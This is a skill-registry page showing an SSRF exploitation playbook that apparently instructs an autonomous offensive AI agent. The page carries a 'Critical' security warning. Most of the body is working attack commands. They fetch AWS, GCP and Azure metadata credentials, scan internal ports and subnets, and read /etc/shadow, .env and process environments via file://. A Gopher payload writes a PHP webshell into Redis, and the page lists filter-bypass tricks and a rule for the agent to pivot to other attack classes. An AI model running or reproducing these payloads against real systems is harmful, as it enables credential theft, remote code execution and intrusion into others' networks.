CtrlK
BlogDocsLog inGet started
Tessl Logo

exploit-ssrf

Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.

65

Quality

78%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md
SKILL.md
Quality
Evals
Security

Server-Side Request Forgery (SSRF)

Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.

Detection

# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt

# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt

# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref

Cloud Metadata Exploitation

# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt

# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt

# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt

# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt

Internal Service Scanning

# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
    curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
        "https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt

# Internal network scanning
for i in $(seq 1 254); do
    curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
        "https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt

Bypass Techniques

# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1

# DNS rebinding — point DNS to 127.0.0.1

# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/

# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/

Gopher Protocol

# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)
# Redis — flush and write webshell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"

curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt

Application-Feature SSRF

When the application mediates server-side HTTP requests through a feature (not a raw ?url= parameter), look for these vectors:

# Markdown/HTML renderer — image and link tags trigger server-side fetch
# Submit as markdown content:
#   ![x](http://127.0.0.1/admin)
#   [x](http://127.0.0.1:8080/internal)

# PDF generator (HTML-to-PDF) — iframe or img src
# Submit as HTML content:
#   <iframe src="http://localhost/admin"></iframe>
#   <img src="http://169.254.169.254/latest/meta-data/">

# Webhook/callback URL — application calls back to attacker-controlled URL
# Set webhook URL to: http://127.0.0.1:<PORT>/admin

# Import-from-URL / avatar-from-URL features
curl -s -X POST 'https://<TARGET>/import' \
  -d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt

# Probe common restricted admin ports through any SSRF vector
for port in 80 443 3000 5000 8000 8080 8443 9000; do
    curl -s -o ssrf_admin_${port}.txt \
      'https://<TARGET>/<SSRF_VECTOR>' \
      --data-urlencode "url=http://127.0.0.1:${port}/admin"
    echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
done

Local File Read via file://

When the server-side fetcher supports the file:// scheme:

# Read sensitive files via file:// scheme
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt

# Common sensitive files
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt

# App source / config (adjust path to match observed framework)
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txt

Circuit-Breaker — Dead-End Detection (MANDATORY)

SSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, @-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually parse_url() host validation or a curl --protocols allowlist that no syntax variant defeats.

Rule: After 3 consecutive failures with identical error signature against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write exploit/PIVOT.md documenting tried variants, then pivot to:

  1. A different vuln class named in recon SUMMARY.md (most common win — recon usually surfaces 2-3 attack classes; pick the next one).
  2. A stored-input rendering surface — many CRUD apps that have SSRF also have stored XSS / SSTI on a different field (see ssti.md Twig "Multi-surface rendering rule").
  3. file:// or gopher:// locally — if parse_url() accepts these, you don't need to escape the host check.
  4. Loopback to the front-end app's own admin/debug routes: http://host.docker.internal:<APP_PORT>/admin, /debug, /.git/config, /server-status.
# Failure-signature check — match identical responses to detect dead-end loop
LAST=""; STRIKES=0
for variant in raw encoded ipv6 rebind; do
  RESP=$(curl -s "http://<TARGET>/<SSRF_VECTOR>" --data-urlencode "url=<variant>" | md5sum | cut -d' ' -f1)
  [ "$RESP" = "$LAST" ] && STRIKES=$((STRIKES+1)) || STRIKES=0
  LAST=$RESP
  [ $STRIKES -ge 3 ] && echo "DEAD END — PIVOT" && break
done

Anti-pattern: 20+ SSRF bypass attempts against a single port that consistently returned "Failed to fetch URL" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.

Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.